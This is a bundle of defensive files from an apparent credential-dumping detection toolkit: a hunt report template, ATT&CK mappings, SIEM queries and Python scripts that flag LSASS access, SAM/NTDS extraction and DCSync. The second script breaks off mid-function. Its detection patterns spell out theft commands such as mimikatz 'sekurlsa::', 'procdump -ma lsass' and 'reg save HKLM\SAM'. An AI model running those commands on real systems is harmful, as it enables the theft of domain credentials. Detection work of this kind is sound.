> [e.g., "Adversaries have used Mimikatz or similar tools to dump LSASS memory on compromised endpoints to harvest domain credentials."]
|
||||
|
||||
## Target Techniques
|
||||
|
||||
- [ ] T1003.001 - LSASS Memory
|
||||
- [ ] T1003.002 - SAM Database
|
||||
- [ ] T1003.003 - NTDS.dit
|
||||
- [ ] T1003.004 - LSA Secrets
|
||||
- [ ] T1003.005 - Cached Domain Credentials
|
||||
- [ ] T1003.006 - DCSync
|
||||
|
||||
## Data Sources
|
||||
|
||||
- [ ] Sysmon Event ID 10 (Process Access)
|
||||
- [ ] Sysmon Event ID 1 (Process Creation)
|
||||
- [ ] Windows Security 4656/4663
|
||||
- [ ] Windows Security 4662 (DCSync)
|
||||
- [ ] EDR Telemetry: _______________
|
||||
|
||||
## LSASS Access Findings
|
||||
|
||||
| # | Timestamp | Host | User | Source Process | Access Mask | Risk | Verdict |
|
||||
|---|-----------|------|------|---------------|-------------|------|---------|
|
||||
| 1 | | | | | | | |
|
||||
| 2 | | | | | | | |
|
||||
|
||||
## Tool Detection Findings
|
||||
|
||||
| # | Timestamp | Host | User | Tool | Command Line | Technique | Verdict |
|
||||
|---|-----------|------|------|------|-------------|-----------|---------|
|
||||
| 1 | | | | | | | |
|
||||
| 2 | | | | | | | |
|
||||
|
||||
## DCSync Findings
|
||||
|
||||
| # | Timestamp | Source Host | User | Replication Right | Is Legitimate DC? | Verdict |
|
||||
|---|-----------|------------|------|-------------------|-------------------|---------|
|
||||
| 1 | | | | | | |
|
||||
|
||||
## Compromised Credentials Assessment
|
||||
|
||||
| Account | Type | Hash Type | Exposure Scope | Reset Required? |
|
||||
|---------|------|-----------|---------------|----------------|
|
||||
| | | | | |
|
||||
|
||||
## Recommendations
|
||||
|
||||
1. **Immediate Actions**: [Password resets, account lockouts]
|
||||
2. **Containment**: [Isolate affected systems]
|
||||
3. **Detection Improvements**: [New rules, LSASS protection]
|
||||
4. **Hardening**: [Credential Guard, PPL, ASR rules]
|
||||
@@ -1,65 +0,0 @@
|
||||
# API Reference: Detecting Credential Dumping with EDR
|
||||
|
||||
## T1003 Sub-Techniques
|
||||
|
||||
| Sub-technique | Method | Key Evidence |
|
||||
|---------------|--------|--------------|
|
||||
| T1003.001 | LSASS Memory | Sysmon Event ID 10, GrantedAccess mask |
|
||||
| T1003.002 | SAM Registry | reg.exe save HKLM\SAM, Event ID 4656 |
|
||||
| T1003.003 | NTDS.dit | vssadmin shadow copy, ntdsutil ifm |
|
||||
| T1003.004 | LSA Secrets | Registry HKLM\SECURITY |
|
||||
| T1003.005 | Cached Creds | DCC2 hashes in SECURITY hive |
|
||||
| T1003.006 | DCSync | Event ID 4662, replication GUIDs |
|
||||
|
||||
## python-evtx Library
|
||||
|
||||
```python
|
||||
import Evtx.Evtx as evtx
|
||||
|
||||
with evtx.Evtx("Sysmon.evtx") as log:
|
||||
for record in log.records():
|
||||
xml = record.xml()
|
||||
# Parse EventID, SourceImage, TargetImage, GrantedAccess
|
||||
```
|
||||
|
||||
## LSASS Suspicious Access Masks
|
||||
|
||||
| GrantedAccess | Meaning |
|
||||
|---------------|---------|
|
||||
| 0x1010 | PROCESS_VM_READ + QUERY_INFO (Mimikatz) |
|
||||
| 0x1038 | VM_READ + QUERY_INFO + VM_WRITE |
|
||||
| 0x1FFFFF | PROCESS_ALL_ACCESS |
|
||||
|
||||
## DCSync Replication GUIDs
|
||||
|
||||
```
|
||||
DS-Replication-Get-Changes: 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
|
||||
DS-Replication-Get-Changes-All: 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2
|
||||
DS-Replication-Get-Changes-In-Filtered: 89e95b76-444d-4c62-991a-0facbeda640c
|
||||
```
|
||||
|
||||
## Splunk SPL - LSASS Access Detection
|
||||
|
||||
```spl
|
||||
index=sysmon EventCode=10 TargetImage="*\\lsass.exe"
|
||||
| where NOT match(SourceImage, "(csrss|services|svchost|lsm|MsMpEng)\\.exe$")
|
||||
| where GrantedAccess IN ("0x1010", "0x1038", "0x1FFFFF")
|
||||
| table _time SourceImage GrantedAccess Computer SourceUser
|
||||
```
|
||||
|
||||
## KQL - Microsoft Defender for Endpoint
|
||||
|
||||
```kql
|
||||
DeviceProcessEvents
|
||||
| where FileName in ("mimikatz.exe", "procdump.exe", "nanodump.exe")
|
||||
or ProcessCommandLine has_any ("sekurlsa", "lsadump", "MiniDump")
|
||||
| project Timestamp, DeviceName, FileName, ProcessCommandLine, AccountName
|
||||
```
|
||||
|
||||
## CLI Usage
|
||||
|
||||
```bash
|
||||
python agent.py --sysmon-log Sysmon.evtx
|
||||
python agent.py --security-log Security.evtx
|
||||
python agent.py --command-log process_audit.log
|
||||
```
|
||||
@@ -1,87 +0,0 @@
|
||||
# Standards and References - Credential Dumping Detection
|
||||
|
||||
## MITRE ATT&CK Mappings
|
||||
|
||||
### T1003 - OS Credential Dumping (Parent Technique)
|
||||
|
||||
| Sub-Technique | Name | Description |
|
||||
|---------------|------|-------------|
|
||||
| T1003.001 | LSASS Memory | Dumping credentials stored in LSASS process memory |
|
||||
| T1003.002 | Security Account Manager | Extracting local hashes from SAM database |
|
||||
| T1003.003 | NTDS | Stealing AD database from Domain Controllers |
|
||||
| T1003.004 | LSA Secrets | Accessing stored service account credentials |
|
||||
| T1003.005 | Cached Domain Credentials | Extracting DCC2 hashed credentials |
|
||||
| T1003.006 | DCSync | Simulating DC replication to extract credentials |
|
||||
| T1003.007 | Proc Filesystem (/proc) | Linux credential extraction |
|
||||
| T1003.008 | /etc/passwd and /etc/shadow | Unix credential files |
|
||||
|
||||
### Related Techniques
|
||||
- **T1555 - Credentials from Password Stores**: Browser, keychain, password manager credentials
|
||||
- **T1552 - Unsecured Credentials**: Files, registry, bash history, cloud metadata
|
||||
- **T1558 - Steal or Forge Kerberos Tickets**: Kerberoasting, Golden/Silver tickets
|
||||
- **T1550 - Use Alternate Authentication Material**: Pass the Hash, Pass the Ticket
|
||||
|
||||
### Tactic
|
||||
- **TA0006 - Credential Access**
|
||||
|
||||
## Detection Data Sources
|
||||
|
||||
### LSASS Access Detection
|
||||
| Source | Event ID | Details |
|
||||
|--------|----------|---------|
|
||||
| Sysmon | 10 | ProcessAccess - TargetImage = lsass.exe |
|
||||
| Windows Security | 4656 | Handle requested to process object |
|
||||
| Windows Security | 4663 | Attempt to access process object |
|
||||
| Windows Security | 4688 | Process creation with command line |
|
||||
| ETW | Microsoft-Windows-Kernel-Process | Kernel-level process access |
|
||||
|
||||
### SAM/Registry Detection
|
||||
| Source | Event ID | Details |
|
||||
|--------|----------|---------|
|
||||
| Sysmon | 1 | reg.exe with save SAM/SECURITY/SYSTEM |
|
||||
| Windows Security | 4656 | Handle to registry key |
|
||||
| Windows Security | 4688 | reg.exe/regedit.exe command line |
|
||||
|
||||
### DCSync Detection
|
||||
| Source | Event ID | Details |
|
||||
|--------|----------|---------|
|
||||
| Windows Security | 4662 | DS-Replication-Get-Changes operation |
|
||||
| Windows Security | 4624/4625 | Authentication to DC from non-DC source |
|
||||
| Network | DRSUAPI | RPC calls for directory replication |
|
||||
|
||||
### NTDS Access Detection
|
||||
| Source | Event ID | Details |
|
||||
|--------|----------|---------|
|
||||
| Sysmon | 1 | ntdsutil.exe, vssadmin.exe execution |
|
||||
| Windows Security | 4688 | Shadow copy creation commands |
|
||||
| VSS | 8224 | Volume Shadow Copy Service operations |
|
||||
|
||||
## LSASS Access Mask Reference
|
||||
|
||||
| Access Mask | Hex | Meaning |
|
||||
|-------------|-----|---------|
|
||||
| PROCESS_VM_READ | 0x0010 | Read process memory |
|
||||
| PROCESS_QUERY_INFORMATION | 0x0400 | Query process info |
|
||||
| 0x1010 | Combined | VM_READ + QUERY_INFO (Mimikatz default) |
|
||||
| 0x1038 | Combined | Common credential dumping mask |
|
||||
| 0x1FFFFF | PROCESS_ALL_ACCESS | Full access to process |
|
||||
| 0x0410 | Combined | Query + VM_READ minimal |
|
||||
|
||||
## Known Credential Dumping Tools
|
||||
|
||||
| Tool | Technique | Detection Signature |
|
||||
|------|-----------|-------------------|
|
||||
| Mimikatz | T1003.001, T1003.006 | LSASS access with 0x1010, sekurlsa module |
|
||||
| LaZagne | T1003.001, T1555 | Multi-credential extractor |
|
||||
| ProcDump | T1003.001 | Signed MS tool, -ma lsass.exe |
|
||||
| comsvcs.dll | T1003.001 | MiniDump via rundll32 |
|
||||
| secretsdump.py | T1003.002, T1003.003, T1003.006 | Impacket DCSync/SAM |
|
||||
| ntdsutil.exe | T1003.003 | IFM creation for NTDS |
|
||||
| SharpDump | T1003.001 | .NET LSASS dumper |
|
||||
| PPLdump | T1003.001 | PPL bypass LSASS dump |
|
||||
| nanodump | T1003.001 | Stealthy minidump |
|
||||
|
||||
## Regulatory References
|
||||
- NIST SP 800-171 Rev 2: 3.1.1 (Access Control)
|
||||
- CIS Controls v8: Control 6 (Access Control Management)
|
||||
- PCI DSS 4.0: Requirement 7 (Restrict Access)
|
||||
@@ -1,134 +0,0 @@
|
||||
# Detailed Hunting Workflow - Credential Dumping Detection
|
||||
|
||||
## Phase 1: LSASS Memory Access Hunting
|
||||
|
||||
### Step 1.1 - Sysmon Event ID 10 Analysis
|
||||
```spl
|
||||
index=sysmon EventCode=10 TargetImage="*\\lsass.exe"
|
||||
| where NOT match(SourceImage, "(?i)(csrss|svchost|services|lsass|wininit|MsMpEng|MsSense|CrowdStrike)")
|
||||
| eval suspicious_access=case(
|
||||
GrantedAccess="0x1FFFFF", "CRITICAL-Full_Access",
|
||||
GrantedAccess="0x1010", "HIGH-VM_Read_Query",
|
||||
GrantedAccess="0x1038", "HIGH-Credential_Dump_Mask",
|
||||
GrantedAccess="0x0410", "MEDIUM-Query_VM_Read",
|
||||
1=1, "LOW-Other"
|
||||
)
|
||||
| stats count by SourceImage, GrantedAccess, suspicious_access, Computer, User
|
||||
| sort -count
|
||||
```
|
||||
|
||||
### Step 1.2 - KQL for Microsoft Defender for Endpoint
|
||||
```kql
|
||||
DeviceEvents
|
||||
| where Timestamp > ago(7d)
|
||||
| where ActionType == "OpenProcessApiCall"
|
||||
| where FileName == "lsass.exe"
|
||||
| where InitiatingProcessFileName !in~ ("csrss.exe","svchost.exe","services.exe","MsMpEng.exe")
|
||||
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName,
|
||||
InitiatingProcessCommandLine, AdditionalFields
|
||||
| order by Timestamp desc
|
||||
```
|
||||
|
||||
### Step 1.3 - CrowdStrike Falcon Query
|
||||
```
|
||||
event_simpleName=ProcessRollup2 TargetProcessImageFileName=lsass.exe
|
||||
| where ContextProcessImageFileName!="csrss.exe" AND ContextProcessImageFileName!="svchost.exe"
|
||||
| stats count by ContextProcessImageFileName ComputerName UserName
|
||||
```
|
||||
|
||||
## Phase 2: SAM/SECURITY Hive Access
|
||||
|
||||
### Step 2.1 - Registry Save Operations
|
||||
```spl
|
||||
index=sysmon EventCode=1
|
||||
| where match(CommandLine, "(?i)reg\s+(save|export)\s+.*(SAM|SECURITY|SYSTEM)")
|
||||
| table _time Computer User Image CommandLine ParentImage
|
||||
```
|
||||
|
||||
### Step 2.2 - Shadow Copy for SAM Access
|
||||
```spl
|
||||
index=sysmon EventCode=1
|
||||
| where match(CommandLine, "(?i)(vssadmin|wmic)\s+.*(shadow|create)")
|
||||
| append [
|
||||
search index=sysmon EventCode=1
|
||||
| where match(CommandLine, "(?i)copy.*\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy")
|
||||
]
|
||||
| table _time Computer User CommandLine ParentImage
|
||||
```
|
||||
|
||||
## Phase 3: DCSync Detection
|
||||
|
||||
### Step 3.1 - Directory Replication Monitoring
|
||||
```spl
|
||||
index=wineventlog EventCode=4662
|
||||
| where match(Properties, "(?i)(1131f6aa|1131f6ad|89e95b76)")
|
||||
| where NOT match(SubjectUserName, "(?i)(\\$|DomainController)")
|
||||
| table _time SubjectUserName SubjectDomainName ObjectName Properties
|
||||
```
|
||||
|
||||
The GUIDs to monitor:
|
||||
- `1131f6aa-9c07-11d1-f79f-00c04fc2dcd2` = DS-Replication-Get-Changes
|
||||
- `1131f6ad-9c07-11d1-f79f-00c04fc2dcd2` = DS-Replication-Get-Changes-All
|
||||
- `89e95b76-444d-4c62-991a-0facbeda640c` = DS-Replication-Get-Changes-In-Filtered-Set
|
||||
|
||||
### Step 3.2 - Non-DC Source Validation
|
||||
```kql
|
||||
SecurityEvent
|
||||
| where EventID == 4662
|
||||
| where Properties has "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2"
|
||||
| where Computer !in (known_domain_controllers)
|
||||
| project TimeGenerated, Computer, SubjectAccount, SubjectDomainName
|
||||
```
|
||||
|
||||
## Phase 4: Tool-Specific Detection
|
||||
|
||||
### Step 4.1 - Mimikatz Indicators
|
||||
```spl
|
||||
index=sysmon (EventCode=1 OR EventCode=10)
|
||||
| where match(CommandLine, "(?i)(sekurlsa|lsadump|kerberos::list|crypto::cng|privilege::debug)")
|
||||
OR (EventCode=10 AND TargetImage="*\\lsass.exe" AND GrantedAccess IN ("0x1010","0x1038"))
|
||||
| table _time EventCode Computer User Image CommandLine GrantedAccess
|
||||
```
|
||||
|
||||
### Step 4.2 - Comsvcs.dll MiniDump Detection
|
||||
```spl
|
||||
index=sysmon EventCode=1 Image="*\\rundll32.exe"
|
||||
| where match(CommandLine, "(?i)comsvcs.*MiniDump")
|
||||
| table _time Computer User CommandLine ParentImage
|
||||
```
|
||||
|
||||
### Step 4.3 - ProcDump LSASS Detection
|
||||
```spl
|
||||
index=sysmon EventCode=1
|
||||
| where match(CommandLine, "(?i)procdump.*(-ma|-accepteula).*lsass")
|
||||
| table _time Computer User CommandLine ParentImage
|
||||
```
|
||||
|
||||
## Phase 5: Correlation and Impact Assessment
|
||||
|
||||
### Step 5.1 - Post-Credential-Dump Lateral Movement
|
||||
```spl
|
||||
index=sysmon EventCode=10 TargetImage="*\\lsass.exe" GrantedAccess IN ("0x1010","0x1038","0x1FFFFF")
|
||||
| rename Computer as src_host
|
||||
| join src_host [
|
||||
search index=wineventlog EventCode=4624 Logon_Type=3
|
||||
| rename Computer as src_host
|
||||
]
|
||||
| table _time src_host User SourceImage dest_host
|
||||
```
|
||||
|
||||
### Step 5.2 - Timeline Construction
|
||||
Build a timeline correlating:
|
||||
1. Initial LSASS access event (credential dump)
|
||||
2. Subsequent authentication events (Pass-the-Hash/Ticket)
|
||||
3. Lateral movement to new hosts
|
||||
4. Additional credential dumping on new hosts
|
||||
|
||||
## Phase 6: Reporting
|
||||
|
||||
### Key Metrics to Report
|
||||
- Number of unique hosts with LSASS access anomalies
|
||||
- Tools identified (known vs. custom)
|
||||
- Accounts potentially compromised
|
||||
- Lateral movement scope
|
||||
- Time from initial dump to last detected activity
|
||||
@@ -1,192 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Credential dumping detection agent using Sysmon and Windows Event Log analysis.
|
||||
|
||||
Parses EVTX logs for LSASS access (Event ID 10), SAM registry access,
|
||||
DCSync indicators (Event ID 4662), and suspicious process patterns.
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import json
|
||||
import re
|
||||
from datetime import datetime
|
||||
|
||||
try:
|
||||
import Evtx.Evtx as evtx
|
||||
except ImportError:
|
||||
evtx = None
|
||||
|
||||
LSASS_SUSPICIOUS_ACCESS = {
|
||||
"0x1010": "PROCESS_VM_READ | PROCESS_QUERY_INFORMATION (Mimikatz)",
|
||||
"0x1038": "PROCESS_VM_READ | PROCESS_QUERY_INFO | PROCESS_VM_WRITE",
|
||||
"0x1fffff": "PROCESS_ALL_ACCESS",
|
||||
"0x1410": "PROCESS_VM_READ | PROCESS_QUERY_LIMITED_INFORMATION",
|
||||
"0x0810": "PROCESS_VM_READ | PROCESS_QUERY_INFORMATION",
|
||||
}
|
||||
|
||||
LSASS_LEGITIMATE_SOURCES = {
|
||||
"csrss.exe", "services.exe", "lsm.exe", "svchost.exe",
|
||||
"mrt.exe", "taskmgr.exe", "wmiprvse.exe",
|
||||
}
|
||||
|
||||
DCSYNC_GUIDS = {
|
||||
"1131f6aa-9c07-11d1-f79f-00c04fc2dcd2": "DS-Replication-Get-Changes",
|
||||
"1131f6ad-9c07-11d1-f79f-00c04fc2dcd2": "DS-Replication-Get-Changes-All",
|
||||
"89e95b76-444d-4c62-991a-0facbeda640c": "DS-Replication-Get-Changes-In-Filtered-Set",
|
||||
}
|
||||
|
||||
SAM_COMMANDS = [
|
||||
r"reg\s+save\s+hklm\\sam",
|
||||
r"reg\s+save\s+hklm\\security",
|
||||
r"reg\s+save\s+hklm\\system",
|
||||
r"vssadmin\s+create\s+shadow",
|
||||
r"ntdsutil.*ifm",
|
||||
r"copy.*ntds\.dit",
|
||||
r"esentutl.*ntds",
|
||||
]
|
||||
|
||||
DUMP_TOOLS = {
|
||||
"mimikatz.exe": "CRITICAL", "procdump.exe": "HIGH", "procdump64.exe": "HIGH",
|
||||
"nanodump.exe": "CRITICAL", "pypykatz": "CRITICAL",
|
||||
"secretsdump.py": "CRITICAL", "lazagne.exe": "HIGH",
|
||||
}
|
||||
|
||||
|
||||
def parse_sysmon_event10(filepath):
|
||||
if evtx is None:
|
||||
return {"error": "python-evtx not installed: pip install python-evtx"}
|
||||
findings = []
|
||||
with evtx.Evtx(filepath) as log:
|
||||
for record in log.records():
|
||||
xml = record.xml()
|
||||
if "<EventID>10</EventID>" not in xml:
|
||||
continue
|
||||
target = re.search(r'<Data Name="TargetImage">([^<]+)', xml)
|
||||
if not target or "lsass.exe" not in target.group(1).lower():
|
||||
continue
|
||||
source = re.search(r'<Data Name="SourceImage">([^<]+)', xml)
|
||||
access = re.search(r'<Data Name="GrantedAccess">([^<]+)', xml)
|
||||
source_user = re.search(r'<Data Name="SourceUser">([^<]+)', xml)
|
||||
time_created = re.search(r'SystemTime="([^"]+)"', xml)
|
||||
|
||||
source_name = source.group(1) if source else ""
|
||||
source_basename = source_name.rsplit("\\", 1)[-1].lower()
|
||||
access_mask = access.group(1) if access else ""
|
||||
|
||||
if source_basename in LSASS_LEGITIMATE_SOURCES:
|
||||
continue
|
||||
|
||||
severity = "HIGH"
|
||||
technique = "T1003.001"
|
||||
if access_mask.lower() in LSASS_SUSPICIOUS_ACCESS:
|
||||
severity = "CRITICAL"
|
||||
|
||||
findings.append({
|
||||
"event_id": 10,
|
||||
"timestamp": time_created.group(1) if time_created else "",
|
||||
"source_image": source_name,
|
||||
"target_image": target.group(1),
|
||||
"granted_access": access_mask,
|
||||
"access_meaning": LSASS_SUSPICIOUS_ACCESS.get(access_mask.lower(), ""),
|
||||
"source_user": source_user.group(1) if source_user else "",
|
||||
"severity": severity,
|
||||
"mitre": technique,
|
||||
})
|
||||
return findings
|
||||
|
||||
|
||||
def parse_security_4662(filepath):
|
||||
if evtx is None:
|
||||
return {"error": "python-evtx not installed"}
|
||||
findings = []
|
||||
with evtx.Evtx(filepath) as log:
|
||||
for record in log.records():
|
||||
xml = record.xml()
|
||||
if "<EventID>4662</EventID>" not in xml:
|
||||
continue
|
||||
props = re.search(r'<Data Name="Properties">([^<]+)', xml)
|
||||
if not props:
|
||||
continue
|
||||
prop_text = props.group(1).lower()
|
||||
matched_guids = []
|
||||
for guid, name in DCSYNC_GUIDS.items():
|
||||
if guid in prop_text:
|
||||
matched_guids.append(name)
|
||||
if not matched_guids:
|
||||
continue
|
||||
subject = re.search(r'<Data Name="SubjectUserName">([^<]+)', xml)
|
||||
subject_name = subject.group(1) if subject else ""
|
||||
if subject_name.endswith("$"):
|
||||
continue
|
||||
time_created = re.search(r'SystemTime="([^"]+)"', xml)
|
||||
findings.append({
|
||||
"event_id": 4662,
|
||||
"timestamp": time_created.group(1) if time_created else "",
|
||||
"subject_user": subject_name,
|
||||
"replication_rights": matched_guids,
|
||||
"severity": "CRITICAL",
|
||||
"mitre": "T1003.006",
|
||||
"description": "DCSync - non-DC account requesting replication",
|
||||
})
|
||||
return findings
|
||||
|
||||
|
||||
def detect_sam_dump_commands(filepath):
|
||||
findings = []
|
||||
with open(filepath, "r", encoding="utf-8", errors="replace") as f:
|
||||
for line_num, line in enumerate(f, 1):
|
||||
for pattern in SAM_COMMANDS:
|
||||
if re.search(pattern, line, re.IGNORECASE):
|
||||
findings.append({
|
||||
"line": line_num,
|
||||
"command": line.strip()[:200],
|
||||
"pattern": pattern,
|
||||
"severity": "CRITICAL",
|
||||
"mitre": "T1003.002",
|
||||
})
|
||||
for tool, sev in DUMP_TOOLS.items():
|
||||
if tool.lower() in line.lower():
|
||||
findings.append({
|
||||
"line": line_num,
|
||||
"tool": tool,
|
||||
"severity": sev,
|
||||
"mitre": "T1003",
|
||||
})
|
||||
return findings
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="Credential Dumping Detector")
|
||||
parser.add_argument("--sysmon-log", help="Sysmon EVTX file for LSASS access (Event 10)")
|
||||
parser.add_argument("--security-log", help="Security EVTX file for DCSync (Event 4662)")
|
||||
parser.add_argument("--command-log", help="Text log to scan for SAM dump commands")
|
||||
args = parser.parse_args()
|
||||
|
||||
results = {"timestamp": datetime.utcnow().isoformat() + "Z", "findings": []}
|
||||
|
||||
if args.sysmon_log:
|
||||
lsass = parse_sysmon_event10(args.sysmon_log)
|
||||
if isinstance(lsass, dict) and "error" in lsass:
|
||||
results["lsass_error"] = lsass["error"]
|
||||
else:
|
||||
results["lsass_access"] = lsass
|
||||
results["findings"].extend(lsass)
|
||||
|
||||
if args.security_log:
|
||||
dcsync = parse_security_4662(args.security_log)
|
||||
if isinstance(dcsync, dict) and "error" in dcsync:
|
||||
results["dcsync_error"] = dcsync["error"]
|
||||
else:
|
||||
results["dcsync_events"] = dcsync
|
||||
results["findings"].extend(dcsync)
|
||||
|
||||
if args.command_log:
|
||||
sam = detect_sam_dump_commands(args.command_log)
|
||||
results["sam_dump_commands"] = sam
|
||||
results["findings"].extend(sam)
|
||||
|
||||
results["total_findings"] = len(results["findings"])
|
||||
print(json.dumps(results, indent=2))
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -1,383 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Credential Dumping Detection Script
|
||||
Analyzes process access logs for LSASS memory access, SAM extraction,
|
||||
DCSync activity, and other credential theft indicators.
|
||||
"""
|
||||
|
||||
import json
|
||||
import csv
|
||||
import argparse
|
||||
import datetime
|
||||
import re
|
||||
import sys
|
||||
from collections import defaultdict
|
||||
from pathlib import Path
|
||||
|
||||
# Suspicious LSASS access masks indicating credential dumping
|
||||
SUSPICIOUS_ACCESS_MASKS = {
|
||||
"0x1FFFFF": {"risk": "CRITICAL", "description": "PROCESS_ALL_ACCESS - full process access"},
|
||||
"0x1010": {"risk": "HIGH", "description": "PROCESS_VM_READ + PROCESS_QUERY_INFORMATION (Mimikatz default)"},
|
||||
"0x1038": {"risk": "HIGH", "description": "Common credential dumping access mask"},
|
||||
"0x0410": {"risk": "MEDIUM", "description": "PROCESS_QUERY_INFORMATION + PROCESS_VM_READ"},
|
||||
"0x1400": {"risk": "MEDIUM", "description": "PROCESS_QUERY_INFORMATION + PROCESS_QUERY_LIMITED"},
|
||||
"0x0040": {"risk": "HIGH", "description": "PROCESS_DUP_HANDLE - handle duplication"},
|
||||
"0x0810": {"risk": "HIGH", "description": "PROCESS_SUSPEND_RESUME + PROCESS_VM_READ"},
|
||||
"0x1fffff": {"risk": "CRITICAL", "description": "PROCESS_ALL_ACCESS (lowercase)"},
|
||||
}
|
||||
|
||||
# Legitimate processes that commonly access LSASS
|
||||
LSASS_WHITELIST = {
|
||||
"csrss.exe", "svchost.exe", "services.exe", "lsass.exe", "wininit.exe",
|
||||
"smss.exe", "wmiprvse.exe", "taskmgr.exe", "procexp.exe", "procexp64.exe",
|
||||
"msmpsvc.exe", "msmpeng.exe", "nissrv.exe", "mssense.exe", "sensecncproxy.exe",
|
||||
"csfalconservice.exe", "csfalconcontainer.exe",
|
||||
"sentinelagent.exe", "sentinelone.exe",
|
||||
"cb.exe", "carbonblack.exe",
|
||||
"logrhythmagent.exe",
|
||||
}
|
||||
|
||||
# Known credential dumping tool command-line patterns
|
||||
CRED_DUMP_TOOL_PATTERNS = {
|
||||
"mimikatz": {
|
||||
"patterns": [
|
||||
r"sekurlsa::",
|
||||
r"lsadump::",
|
||||
r"kerberos::list",
|
||||
r"crypto::cng",
|
||||
r"privilege::debug",
|
||||
r"token::elevate",
|
||||
r"dpapi::",
|
||||
r"vault::cred",
|
||||
],
|
||||
"technique": "T1003.001/T1003.006",
|
||||
},
|
||||
"comsvcs_minidump": {
|
||||
"patterns": [
|
||||
r"comsvcs\.dll.*MiniDump",
|
||||
r"comsvcs\.dll.*#24",
|
||||
],
|
||||
"technique": "T1003.001",
|
||||
},
|
||||
"procdump": {
|
||||
"patterns": [
|
||||
r"procdump.*-ma.*lsass",
|
||||
r"procdump.*lsass.*-ma",
|
||||
r"procdump.*-accepteula.*lsass",
|
||||
],
|
||||
"technique": "T1003.001",
|
||||
},
|
||||
"reg_save": {
|
||||
"patterns": [
|
||||
r"reg\s+(save|export)\s+HKLM\\SAM",
|
||||
r"reg\s+(save|export)\s+HKLM\\SECURITY",
|
||||
r"reg\s+(save|export)\s+HKLM\\SYSTEM",
|
||||
],
|
||||
"technique": "T1003.002",
|
||||
},
|
||||
"ntdsutil": {
|
||||
"patterns": [
|
||||
r"ntdsutil.*ifm",
|
||||
r"ntdsutil.*\"activate instance ntds\"",
|
||||
r"ntdsutil.*create full",
|
||||
],
|
||||
"technique": "T1003.003",
|
||||
},
|
||||
"vssadmin_shadow": {
|
||||
"patterns": [
|
||||
r"vssadmin.*create\s+shadow",
|
||||
r"copy.*GLOBALROOT.*Device.*HarddiskVolumeShadowCopy",
|
||||
r"wmic.*shadowcopy.*create",
|
||||
],
|
||||
"technique": "T1003.003",
|
||||
},
|
||||
"secretsdump": {
|
||||
"patterns": [
|
||||
r"secretsdump",
|
||||
r"impacket.*dump",
|
||||
],
|
||||
"technique": "T1003.002/T1003.003/T1003.006",
|
||||
},
|
||||
"lazagne": {
|
||||
"patterns": [
|
||||
r"lazagne",
|
||||
r"LaZagne\.exe",
|
||||
],
|
||||
"technique": "T1003.001/T1555",
|
||||
},
|
||||
"sharpdump": {
|
||||
"patterns": [
|
||||
r"SharpDump",
|
||||
r"sharpdump",
|
||||
],
|
||||
"technique": "T1003.001",
|
||||
},
|
||||
"nanodump": {
|
||||
"patterns": [
|
||||
r"nanodump",
|
||||
],
|
||||
"technique": "T1003.001",
|
||||
},
|
||||
}
|
||||
|
||||
# DCSync detection GUIDs
|
||||
DCSYNC_GUIDS = {
|
||||
"1131f6aa-9c07-11d1-f79f-00c04fc2dcd2": "DS-Replication-Get-Changes",
|
||||
"1131f6ad-9c07-11d1-f79f-00c04fc2dcd2": "DS-Replication-Get-Changes-All",
|
||||
"89e95b76-444d-4c62-991a-0facbeda640c": "DS-Replication-Get-Changes-In-Filtered-Set",
|
||||
}
|
||||
|
||||
|
||||
def parse_logs(input_path: str) -> list[dict]:
|
||||
"""Parse log files in JSON or CSV format."""
|
||||
events = []
|
||||
path = Path(input_path)
|
||||
if path.suffix == ".json":
|
||||
with open(path, "r", encoding="utf-8") as f:
|
||||
data = json.load(f)
|
||||
events = data if isinstance(data, list) else data.get("events", data.get("hits", {}).get("hits", []))
|
||||
if events and isinstance(events[0], dict) and "_source" in events[0]:
|
||||
events = [e["_source"] for e in events]
|
||||
elif path.suffix == ".csv":
|
||||
with open(path, "r", encoding="utf-8-sig") as f:
|
||||
reader = csv.DictReader(f)
|
||||
events = [dict(row) for row in reader]
|
||||
return events
|
||||
|
||||
|
||||
def normalize_event(event: dict) -> dict:
|
||||
"""Normalize event field names."""
|
||||
field_map = {
|
||||
"source_image": ["SourceImage", "source_image", "InitiatingProcessFileName", "process.executable"],
|
||||
"target_image": ["TargetImage", "target_image", "FileName", "target.process.executable"],
|
||||
"granted_access": ["GrantedAccess", "granted_access", "AccessMask"],
|
||||
"command_line": ["CommandLine", "command_line", "ProcessCommandLine", "process.command_line"],
|
||||
"user": ["User", "user", "AccountName", "SubjectUserName", "user.name"],
|
||||
"hostname": ["Computer", "hostname", "DeviceName", "host.name"],
|
||||
"timestamp": ["UtcTime", "timestamp", "Timestamp", "@timestamp"],
|
||||
"event_id": ["EventID", "EventCode", "event_id", "event.code"],
|
||||
"parent_image": ["ParentImage", "parent_image", "InitiatingProcessParentFileName"],
|
||||
"properties": ["Properties", "properties", "ObjectType"],
|
||||
}
|
||||
normalized = {}
|
||||
for target, sources in field_map.items():
|
||||
for src in sources:
|
||||
if src in event and event[src]:
|
||||
normalized[target] = str(event[src])
|
||||
break
|
||||
if target not in normalized:
|
||||
normalized[target] = ""
|
||||
return normalized
|
||||
|
||||
|
||||
def detect_lsass_access(event: dict) -> dict | None:
|
||||
"""Detect suspicious LSASS process access."""
|
||||
target = event.get("target_image", "").lower()
|
||||
if "lsass.exe" not in target:
|
||||
return None
|
||||
|
||||
source = event.get("source_image", "").lower()
|
||||
source_name = source.split("\\")[-1].split("/")[-1]
|
||||
access = event.get("granted_access", "").lower()
|
||||
|
||||
# Skip whitelisted processes
|
||||
if source_name in LSASS_WHITELIST:
|
||||
return None
|
||||
|
||||
risk_info = SUSPICIOUS_ACCESS_MASKS.get(access, SUSPICIOUS_ACCESS_MASKS.get(access.upper()))
|
||||
if not risk_info:
|
||||
risk_info = {"risk": "LOW", "description": f"Unknown access mask: {access}"}
|
||||
|
||||
return {
|
||||
"detection_type": "LSASS_ACCESS",
|
||||
"technique": "T1003.001",
|
||||
"source_process": event.get("source_image", ""),
|
||||
"target_process": event.get("target_image", ""),
|
||||
